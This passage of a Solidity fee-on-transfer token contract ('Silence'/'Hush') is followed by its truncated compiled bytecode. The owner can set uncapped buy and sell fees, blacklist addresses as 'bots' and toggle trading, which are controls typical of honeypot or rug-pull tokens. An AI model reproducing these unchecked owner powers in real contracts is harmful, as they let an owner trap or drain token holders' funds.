if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600781526020017f53696c656e636500000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4875736800000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f65737300000000000000000000000000000000